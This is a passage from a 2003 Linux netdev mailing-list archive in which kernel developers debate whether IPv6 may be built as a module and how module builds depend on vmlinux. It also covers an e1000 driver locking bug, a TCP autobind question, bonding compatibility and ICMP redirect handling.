(8.9.3/8.9.3) id DAA01349; Tue, 30 Sep 2003 03:01:53 -0700 Date: Tue, 30 Sep 2003 03:01:53 -0700 From: "David S. Miller" To: David Woodhouse Cc: bunk@fs.tum.de, acme@conectiva.com.br, netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org Subject: Re: RFC: [2.6 patch] disallow modular IPv6 Message-Id: <20030930030153.6510dbae.davem@redhat.com> In-Reply-To: <1064916168.21551.105.camel@hades.cambridge.redhat.com> References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030929220916.19c9c90d.davem@redhat.com> <1064903562.6154.160.camel@imladris.demon.co.uk> <20030930000302.3e1bf8bb.davem@redhat.com> <1064907572.21551.31.camel@hades.cambridge.redhat.com> <20030930010855.095c2c35.davem@redhat.com> <1064910398.21551.41.camel@hades.cambridge.redhat.com> <20030930013025.697c786e.davem@redhat.com> <1064911360.21551.49.camel@hades.cambridge.redhat.com> <20030930015125.5de36d97.davem@redhat.com> <1064913241.21551.69.camel@hades.cambridge.redhat.com> <20030930022410.08c5649c.davem@redhat.com> <1064916168.21551.105.camel@hades.cambridge.redhat.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 377 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 30 Sep 2003 11:02:49 +0100 David Woodhouse wrote: > I am saying that even if I run 'make all', I do not accept that the > resulting kernel image should be _different_ when I change any option > from 'n' to 'm'. Then let's agree to disagree. Send the proposal to Linus and let him hash it out with you, although I belive I have a good idea which side of the fence he'll be on. 8-) From dwmw2@infradead.org Tue Sep 30 03:14:35 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 03:15:08 -0700 (PDT) Received: from executor.cambridge.redhat.com (pub237.cambridge.redhat.com [213.86.99.237] (may be forged)) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UAEYFx013007 for ; Tue, 30 Sep 2003 03:14:34 -0700 Received: from hades.cambridge.redhat.com (hades.cambridge.redhat.com [172.16.18.64]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 5E61563D63; Tue, 30 Sep 2003 11:14:28 +0100 (BST) Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by hades.cambridge.redhat.com (8.12.10/8.11.0) with ESMTP id h8UAEQpb020635; Tue, 30 Sep 2003 11:14:26 +0100 Subject: Re: RFC: [2.6 patch] disallow modular IPv6 From: David Woodhouse To: "David S. Miller" Cc: bunk@fs.tum.de, acme@conectiva.com.br, netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org In-Reply-To: <20030930030153.6510dbae.davem@redhat.com> References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030929220916.19c9c90d.davem@redhat.com> <1064903562.6154.160.camel@imladris.demon.co.uk> <20030930000302.3e1bf8bb.davem@redhat.com> <1064907572.21551.31.camel@hades.cambridge.redhat.com> <20030930010855.095c2c35.davem@redhat.com> <1064910398.21551.41.camel@hades.cambridge.redhat.com> <20030930013025.697c786e.davem@redhat.com> <1064911360.21551.49.camel@hades.cambridge.redhat.com> <20030930015125.5de36d97.davem@redhat.com> <1064913241.21551.69.camel@hades.cambridge.redhat.com> <20030930022410.08c5649c.davem@redhat.com> <1064916168.21551.105.camel@hades.cambridge.redhat.com> <20030930030153.6510dbae.davem@redhat.com> Content-Type: text/plain Message-Id: <1064916865.21551.114.camel@hades.cambridge.redhat.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-2.dwmw2.3) Date: Tue, 30 Sep 2003 11:14:26 +0100 Content-Transfer-Encoding: 7bit X-archive-position: 378 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev On Tue, 2003-09-30 at 03:01 -0700, David S. Miller wrote: > Then let's agree to disagree. That's what I suggested 50 minutes ago :) As I said, it's a matter of taste. The idea that CONFIG_xxx_MODULE should be removed from visibility during the vmlinux build is not limited to myself and Adrian alone. We can revisit it during 2.7 development. I won't be spending time on it myself at least until after sleep_on() is already dead, but I'm sure someone will offer it as a 'cleanup'. -- dwmw2 From sam@ravnborg.org Tue Sep 30 04:39:18 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 04:39:52 -0700 (PDT) Received: from pasmtp.tele.dk (pasmtp.tele.dk [193.162.159.95]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UBdHFx018501 for ; Tue, 30 Sep 2003 04:39:18 -0700 Received: from mars.ravnborg.org (0x50a416f6.hrnxx9.adsl-dhcp.tele.dk [80.164.22.246]) by pasmtp.tele.dk (Postfix) with ESMTP id A32431EC325; Tue, 30 Sep 2003 13:39:14 +0200 (CEST) Received: by mars.ravnborg.org (Postfix, from userid 502) id 5934EA4019; Tue, 30 Sep 2003 13:39:12 +0200 (CEST) Date: Tue, 30 Sep 2003 13:39:12 +0200 From: Sam Ravnborg To: David Woodhouse Cc: "David S. Miller" , bunk@fs.tum.de, acme@conectiva.com.br, netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org Subject: Re: RFC: [2.6 patch] disallow modular IPv6 Message-ID: <20030930113912.GA1731@mars.ravnborg.org> Mail-Followup-To: David Woodhouse , "David S. Miller" , bunk@fs.tum.de, acme@conectiva.com.br, netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org References: <20030930000302.3e1bf8bb.davem@redhat.com> <1064907572.21551.31.camel@hades.cambridge.redhat.com> <20030930010855.095c2c35.davem@redhat.com> <1064910398.21551.41.camel@hades.cambridge.redhat.com> <20030930013025.697c786e.davem@redhat.com> <1064911360.21551.49.camel@hades.cambridge.redhat.com> <20030930015125.5de36d97.davem@redhat.com> <1064913241.21551.69.camel@hades.cambridge.redhat.com> <20030930022410.08c5649c.davem@redhat.com> <1064916168.21551.105.camel@hades.cambridge.redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1064916168.21551.105.camel@hades.cambridge.redhat.com> User-Agent: Mutt/1.4.1i X-archive-position: 379 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sam@ravnborg.org Precedence: bulk X-list: netdev On Tue, Sep 30, 2003 at 11:02:49AM +0100, David Woodhouse wrote: > On Tue, 2003-09-30 at 02:24 -0700, David S. Miller wrote: > > I think they are the same. It's module building depending upon the > > kernel image being up to date. > > > > modules: vmlinux image > > ... blah blah blah > > > > or however you want to express it in the makefiles. > > In the case of modversions, we are talking about the fact that it may be > physically _impossible_ to build a module referencing an in-kernel > symbol, if the checksum required for that symbol -- the 'version string' > -- is not yet calculated. If the version strings are generated as a > side-effect of compiling the files which actually export the symbols in > question, then it's necessary to do that before building any module > which attempts to use those symbols. The version strings are made from info obtained from vmlinux and the *.o files. So vmlinux is a prerequisite to calculate the version string. And to get vmlinux you need to build the kernel. And the build system will check all dependencies when it needs vmlinux. > Note that it's not actually necessary to provide a vmlinux file, nor to > do any linking. It's only necessary to perform those steps which produce > the version strings for those symbols actually referenced by the modules > which are being built. Which require vmlinux and other module.o files. > That is the requirement for correctness from the makefiles; nothing > more. Of course it's usually considered acceptable for the makefiles to > recompile _more_ than is necessary I would like to know if there exists any cases where _more_ (or less) is being build. Mostly I consider it a bug in such case, but there are a few corner cases. [Only commenting on the kbuild side of things - I'm not trying to be involved in the other part of the discussion ;-)] Sam From shmulik.hen@intel.com Tue Sep 30 04:42:45 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 04:43:17 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UBgiFx018853 for ; Tue, 30 Sep 2003 04:42:44 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6-20030918-01/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8UBeGI01349 for ; Tue, 30 Sep 2003 11:40:16 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6-20030918-01/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8UBbCl05620 for ; Tue, 30 Sep 2003 11:37:12 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003093004423301834 ; Tue, 30 Sep 2003 04:42:35 -0700 Content-Type: text/plain; charset="iso-8859-1" From: Shmulik Hen Reply-To: shmulik.hen@intel.com Organization: Intel corp. To: "David S. Miller" , "Jeff Garzik" , , "Jay Vosburgh" Subject: Re: [bonding] compatibilty issues Date: Tue, 30 Sep 2003 14:42:31 +0300 User-Agent: KMail/1.4.3 Cc: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200309301442.31991.shmulik.hen@intel.com> X-archive-position: 380 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Guys, I'm going to need a ruling here :) Re-creating those 19 trees each time is killing me and I would like to reduce the number of iterations to a minimum. I'm currently working on putting back all compatibility stuff for 2.4. I would like to also get any input/reservations about other issues (besides compatibility and the multicast param) so I may get a chance to get them all in at once. Once we get that settled, I can start working on a 2.6 version that also handles any compatibility issues (preferrably as the last patch of the series). I'm working in the assumption that 2.4-2.6 similarity is no longer an option for bonding. -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | From davem@pizda.ninka.net Tue Sep 30 04:56:58 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 04:57:32 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UBuvFx019295 for ; Tue, 30 Sep 2003 04:56:58 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id EAA02032; Tue, 30 Sep 2003 04:53:06 -0700 Date: Tue, 30 Sep 2003 04:53:06 -0700 From: "David S. Miller" To: "David S. Miller" Cc: jgarzik@pobox.com, akpm@osdl.org, netdev@oss.sgi.com, cramerj@intel.com, scott.feldman@intel.com Subject: Re: Fw: Badness in local_bh_enable at kernel/softirq.c:119 Message-Id: <20030930045306.5ac6be0d.davem@redhat.com> In-Reply-To: <20030929224929.4dc6ed4a.davem@redhat.com> References: <20030929143642.18b491ba.akpm@osdl.org> <20030929224929.4dc6ed4a.davem@redhat.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 381 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 29 Sep 2003 22:49:29 -0700 "David S. Miller" wrote: > On Mon, 29 Sep 2003 14:36:42 -0700 > Andrew Morton wrote: > > > Oh, it's taking xmit_lock in a timer handler. I give up. > > I think e1000 should rethink what it is doing :-) Sorry, in case it isn't painfully obvious, instead of hinting at it let me state explicitly that ->xmit_lock is a BH disabling lock not an IRQ disabling one. Therefore, e1000's IRQ disabling when grabbing that lock is buggy and need to be changed to BH disabling. If it needs to disable IRQs for it's own internal locking, it needs to do so such that such IRQ disabling internal locks are not held while kfree_skb() is being invoked. Calling kfree_skb() with IRQs disabled in the e1000 driver is the cause of this bug. Jeff, if you pushed these e1000 updates that make it grap ->xmit_lock() with disabling IRQs instead of BH into 2.4.x trees too, beware! From galibert@dspnet.fr.eu.org Tue Sep 30 05:06:27 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 05:07:04 -0700 (PDT) Received: from dspnet.fr.eu.org (postfix@dspnet.fr.eu.org [62.73.5.179]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UC6QFx019774 for ; Tue, 30 Sep 2003 05:06:27 -0700 Received: by dspnet.fr.eu.org (Postfix, from userid 1007) id 5A6D241E16; Tue, 30 Sep 2003 14:06:23 +0200 (CEST) Date: Tue, 30 Sep 2003 14:06:23 +0200 From: Olivier Galibert To: "David S. Miller" Cc: David Woodhouse , bunk@fs.tum.de, acme@conectiva.com.br, netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org Subject: Re: RFC: [2.6 patch] disallow modular IPv6 Message-ID: <20030930120622.GA24747@dspnet.fr.eu.org> Mail-Followup-To: Olivier Galibert , "David S. Miller" , David Woodhouse , bunk@fs.tum.de, acme@conectiva.com.br, netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030929220916.19c9c90d.davem@redhat.com> <1064903562.6154.160.camel@imladris.demon.co.uk> <20030930000302.3e1bf8bb.davem@redhat.com> <1064907572.21551.31.camel@hades.cambridge.redhat.com> <20030930010855.095c2c35.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030930010855.095c2c35.davem@redhat.com> User-Agent: Mutt/1.4.1i X-archive-position: 382 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: galibert@pobox.com Precedence: bulk X-list: netdev On Tue, Sep 30, 2003 at 01:08:55AM -0700, David S. Miller wrote: > On Tue, 30 Sep 2003 08:39:33 +0100 > David Woodhouse wrote: > > 99% or more of tristate options can be enabled without affecting the > > kernel, and it is expected that such options can be set to 'm' later, > > while the kernel in question is actually running, then built and loaded > > without a reboot. > > Expected by whom? Not by me. By me for instance. I'm used to modules having no influence until loaded, even at compilation time. I'm used to in-tree and out-of-tree modules to have exactly the same status (ignoring the binary-only modules crap). > > We should strive to keep this true. > > For things _OUTSIDE_ the kernel, surely. But inside the kernel > tree I don't see any value in this new restriction. > > > Allow this kernel to ever support IPv6? Y/N > > Build IPv6 support? Y/M/N > > And I still think this is a complete joke. I suspect what you _really_ want is a "disable ipv6 entirely" depending on CONFIG_EMBEDDED which would remove the then bloat. Normal users would never see it and the meaning would be obvious for the ones who care. OG. From kuznet@ms2.inr.ac.ru Tue Sep 30 05:38:41 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 05:39:18 -0700 (PDT) Received: from yakov.inr.ac.ru (yakov.inr.ac.ru [193.233.7.111]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UCcdFx020425 for ; Tue, 30 Sep 2003 05:38:40 -0700 Received: (from kuznet@localhost) by yakov.inr.ac.ru (8.6.13/ANK) id QAA01426; Tue, 30 Sep 2003 16:37:48 +0400 From: kuznet@ms2.inr.ac.ru Message-Id: <200309301237.QAA01426@yakov.inr.ac.ru> Subject: Re: Fw: Re: [PATCH] ipv4 tcp autobind problem To: davem@redhat.com (David S. Miller) Date: Tue, 30 Sep 2003 16:37:48 +0400 (MSD) Cc: jmorris@redhat.com, hidden@balabit.hu, netdev@oss.sgi.com, linux-net@vger.rutgers.edu In-Reply-To: <20030930024320.5aca8ddc.davem@redhat.com> from "David S. Miller" at óÅÎ 30, 2003 02:43:20 X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 383 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Hello! > in inet_sendmsg() is that when an RST is received, sk->num is set to zero, Yes, I remember this. This funny thing was added to avoid using reserved ports obtained from accept() to do connect(). Before that sockets were never unbound after they bound once exactly to avoid weirdness of the kind descibed in your mail, but this happened to be insecure. From this mail I still do not see why autobinding of void socket is so bad thing, that it requires marginal fixing at the place which is already marginal. What is the real problem? So, bad sendmsg() selects some port as a side effect. It makes it on udp and tcp. What is the deal? If it is disaster for tcp, why it is not bad for udp? > local port (sk->sport) remains unchanged until the socket is closed. Socket is _closed_. Local port is reset only after socket is closed, unless PORT_USERLOCK is set. And sk->sport remains unchanged even after socket is closed, btw, so... I do recognize that current behaviour is weird, but I still want to know how this marginal weirdness escaped to be seen in reality. Alexey From davem@pizda.ninka.net Tue Sep 30 05:42:21 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 05:42:54 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UCgKFx020805 for ; Tue, 30 Sep 2003 05:42:21 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id FAA02271; Tue, 30 Sep 2003 05:37:58 -0700 Date: Tue, 30 Sep 2003 05:37:57 -0700 From: "David S. Miller" To: kuznet@ms2.inr.ac.ru Cc: jmorris@redhat.com, hidden@balabit.hu, netdev@oss.sgi.com, linux-net@vger.rutgers.edu Subject: Re: Fw: Re: [PATCH] ipv4 tcp autobind problem Message-Id: <20030930053757.36965bf3.davem@redhat.com> In-Reply-To: <200309301237.QAA01426@yakov.inr.ac.ru> References: <20030930024320.5aca8ddc.davem@redhat.com> <200309301237.QAA01426@yakov.inr.ac.ru> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 384 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 30 Sep 2003 16:37:48 +0400 (MSD) kuznet@ms2.inr.ac.ru wrote: > From this mail I still do not see why autobinding of void socket is so > bad thing, that it requires marginal fixing at the place which is already > marginal. What is the real problem? I think it is some detail about their transparent proxy kernel hacks, remember that awful stuff? :) From dana.lacoste@peregrine.com Tue Sep 30 06:13:18 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 06:13:55 -0700 (PDT) Received: from willy.ottawa.loran.com (sprocket.loran.com [209.167.240.9]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UDCvFx022826 for ; Tue, 30 Sep 2003 06:13:18 -0700 Received: from ottonexc1.peregrine.com (localhost [127.0.0.1]) by willy.ottawa.loran.com (Postfix) with ESMTP id 5601D17173; Tue, 30 Sep 2003 09:07:04 -0400 (EDT) Received: from [172.22.2.90] (dlacoste.ottawa.loran.com [172.22.2.90]) by ottonexc1.peregrine.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id TFF94TA8; Tue, 30 Sep 2003 09:13:00 -0400 Subject: Re: route cache and messed up network From: Dana Lacoste To: hadi@cyberus.ca Cc: netdev@oss.sgi.com In-Reply-To: <1064889101.1024.27.camel@jzny.localdomain> References: <1064865515.8417.2.camel@dlacoste.ottawa.loran.com> <1064889101.1024.27.camel@jzny.localdomain> Content-Type: text/plain Message-Id: <1064927627.65636.9.camel@dlacoste.ottawa.loran.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Tue, 30 Sep 2003 09:13:47 -0400 Content-Transfer-Encoding: 7bit X-archive-position: 385 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dana.lacoste@peregrine.com Precedence: bulk X-list: netdev Honestly, it would keep me happy :) The linux system is a network management appliance : it only has one default route in its configuration, so all other subnets rely on the redirects to keep traffic down. So although that would solve the problem, it could potentially mean a whole lot of duplicated traffic, which is not something a network management appliance is supposed to _create_ :) Dana Lacoste Ottawa, Canada On Mon, 2003-09-29 at 22:31, jamal wrote: > Why dont you just ignore redirects on the Linux machine? > echo 0 > /proc/sys/net/ipv4/conf/*/accept_redirects > > cheers, > jamal > > From bunk@fs.tum.de Tue Sep 30 06:44:38 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 06:45:16 -0700 (PDT) Received: from hermes.fachschaften.tu-muenchen.de (hermes.fachschaften.tu-muenchen.de [129.187.202.12]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UDiHFx023838 for ; Tue, 30 Sep 2003 06:44:37 -0700 Received: (qmail 2252 invoked from network); 30 Sep 2003 13:36:09 -0000 Received: from mimas.fachschaften.tu-muenchen.de (129.187.202.58) by hermes.fachschaften.tu-muenchen.de with QMQP; 30 Sep 2003 13:36:09 -0000 Date: Tue, 30 Sep 2003 15:37:29 +0200 From: Adrian Bunk To: "David S. Miller" Cc: Arnaldo Carvalho de Melo , netdev@oss.sgi.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org Subject: Re: RFC: [2.6 patch] disallow modular IPv6 Message-ID: <20030930133729.GJ295@fs.tum.de> References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030928233909.GG1039@conectiva.com.br> <20030929001439.GY15338@fs.tum.de> <20030929003229.GM1039@conectiva.com.br> <20030929221129.7689e088.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030929221129.7689e088.davem@redhat.com> User-Agent: Mutt/1.4.1i X-archive-position: 386 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bunk@fs.tum.de Precedence: bulk X-list: netdev On Mon, Sep 29, 2003 at 10:11:29PM -0700, David S. Miller wrote: > On Sun, 28 Sep 2003 21:32:30 -0300 > Arnaldo Carvalho de Melo wrote: > > > Em Mon, Sep 29, 2003 at 02:14:39AM +0200, Adrian Bunk escreveu: > > > On Sun, Sep 28, 2003 at 08:39:10PM -0300, Arnaldo Carvalho de Melo wrote: > > > What about the following solution (the names and help texts for the > > > config options might not be optimal, I hope you understand the > > > intention): > > > > > > config IPV6_SUPPORT > > > bool "IPv6 support" > > > > > > config IPV6_ENABLE > > > tristate "enable IPv6" > > > depends on IPV6_SUPPORT > > > > > > IPV6_SUPPORT changes structs etc. and IPV6_ENABLE is responsible for > > > ipv6.o . > > > > Humm, and the idea is? This seems confusing, could you elaborate on why such > > scheme is a good thing? > > I think the idea is totally broken. At first, Adrian comments that > changing the layout of structs based upon a config option is broken, > then he proposes a config option that does nothing except change the > layout of structures. > > The current situation is perfectly fine. I did perhaps express my opinion not clearly. My personal opinions: It's OK that setting an option to y changes structs or whatever else in the kernel. It's not OK if adding a module changes the layout of structs compiled into the kernel. Modules have many advantages, one advantage is e.g. that they allow generic distribution kernels without resulting in huge kernel images. Another advantage is that you can later add modules to a running kernel, you can compile a module for your kernel and insert it without rebooting the machine. This is currently not possible with moduler IPv6. That was my personal opinion. My opinions seem to be very close to the opinions of David Woodhouse, so there's no need to repeat your discussion. cu Adrian -- "Is there not promise of rain?" Ling Tan asked suddenly out of the darkness. There had been need of rain for many days. "Only a promise," Lao Er said. Pearl S. Buck - Dragon Seed From dana.lacoste@peregrine.com Tue Sep 30 06:44:48 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 06:45:21 -0700 (PDT) Received: from willy.ottawa.loran.com (sprocket.loran.com [209.167.240.9]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UDi7Fx023836 for ; Tue, 30 Sep 2003 06:44:48 -0700 Received: from ottonexc1.peregrine.com (localhost [127.0.0.1]) by willy.ottawa.loran.com (Postfix) with ESMTP id 7F1C617173; Tue, 30 Sep 2003 09:38:11 -0400 (EDT) Received: from [172.22.2.90] (dlacoste.ottawa.loran.com [172.22.2.90]) by ottonexc1.peregrine.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id TFF94TGN; Tue, 30 Sep 2003 09:44:07 -0400 Subject: Re: RFC: [2.6 patch] disallow modular IPv6 From: Dana Lacoste To: "David S. Miller" Cc: David Woodhouse , netdev@oss.sgi.com, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org In-Reply-To: <20030930022410.08c5649c.davem@redhat.com> References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030929220916.19c9c90d.davem@redhat.com> <1064903562.6154.160.camel@imladris.demon.co.uk> <20030930000302.3e1bf8bb.davem@redhat.com> <1064907572.21551.31.camel@hades.cambridge.redhat.com> <20030930010855.095c2c35.davem@redhat.com> <1064910398.21551.41.camel@hades.cambridge.redhat.com> <20030930013025.697c786e.davem@redhat.com> <1064911360.21551.49.camel@hades.cambridge.redhat.com> <20030930015125.5de36d97.davem@redhat.com> <1064913241.21551.69.camel@hades.cambridge.redhat.com> <20030930022410.08c5649c.davem@redhat.com> Content-Type: text/plain Message-Id: <1064929494.98525.7.camel@dlacoste.ottawa.loran.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Tue, 30 Sep 2003 09:44:55 -0400 Content-Transfer-Encoding: 7bit X-archive-position: 387 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dana.lacoste@peregrine.com Precedence: bulk X-list: netdev On Tue, 2003-09-30 at 05:24, David S. Miller wrote: > What this means is that it's required for the kernel image to be up to > date before any modules can be built. If we can check that in the > build system for the sake of modversions (and if we're not doing that > now it's a bug we should fix) we can do it equally for ipv6. So this procedure is flawed then : 1. Compile kernel. Set up everything that you need, IPV6 is set to 'n' 2. Install kernel and modules to your liking, reboot to take effect. 5 minutes later a user comes and complains that IPV6 isn't available and he will want it later, so you decide to compile the module for when he needs it and avoid another reboot : 3. Change config IPV6 to 'm' 4. run make modules && make modules_install I think that arguing that the kernel image is out of date is preposterous in this case. It was built just before the config was changed! I'm not saying that changing the kernel is an invalid, I'm only saying that documentation should be updated to mention explicitly : If you are adding a kernel module to your config, you must also recompile your kernel and use the new kernel before you use that module. Essentially, modules are useful only for hotplugging type situations and not for ease of developer access to kernel drivers. I agree with Mr. Woodhouse in that this is completely non-intuitive and is absolutely not what most linux users think of as expected behaviour, but I can understand how something like IPV6 changes too many things to be reliably build as a module in this fashion. SO TO GET TO MY POINT :) Why can't the subject line of this thread be implemented? If IPV6 isn't modular, then WHY ALLOW IT AS A MODULE? Dana Lacoste Ottawa, Canada From kai.germaschewski@unh.edu Tue Sep 30 06:52:15 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 06:52:49 -0700 (PDT) Received: from chaos.sr.unh.edu (chaos.sr.unh.edu [132.177.249.105]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UDpvFx024541 for ; Tue, 30 Sep 2003 06:52:15 -0700 Received: from localhost (kai@localhost) by chaos.sr.unh.edu (8.11.6/8.11.6) with ESMTP id h8UDoEj05362; Tue, 30 Sep 2003 09:50:14 -0400 X-Authentication-Warning: chaos.sr.unh.edu: kai owned process doing -bs Date: Tue, 30 Sep 2003 09:50:14 -0400 (EDT) From: Kai Germaschewski X-X-Sender: kai@chaos.sr.unh.edu To: "David S. Miller" cc: David Woodhouse , , , , , , Subject: Re: RFC: [2.6 patch] disallow modular IPv6 In-Reply-To: <20030930022410.08c5649c.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 388 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kai.germaschewski@unh.edu Precedence: bulk X-list: netdev On Tue, 30 Sep 2003, David S. Miller wrote: > I think they are the same. It's module building depending upon the > kernel image being up to date. > > modules: vmlinux image > ... blah blah blah > > or however you want to express it in the makefiles. I strongly disagree with this. What the makefiles currently do is correct, i.e. if you "make modules" you'll only get updated modules, you didn't ask for an updated vmlinux, and so you don't get it. The module you get is built correctly, i.e. you'd get the same result if you had rebuilt vmlinux before, since the building of the module does not depend on a "correct" vmlinux at all. If in just about any project you type "make some_object.o", you don't expect make to recompile and rebuild the rest of the project, either, you ask it to 'make' something, and will build exactly that something and the prerequisites necessary to get it right. A sidenote is that if you are using modversions, building the modules correctly needs versioning information from vmlinux, so in that case we need vmlinux to be up-to-date. And that's why in this case vmlinux will be rebuilt first (if something changed) - otherwise the modules you were asking for wouldn't 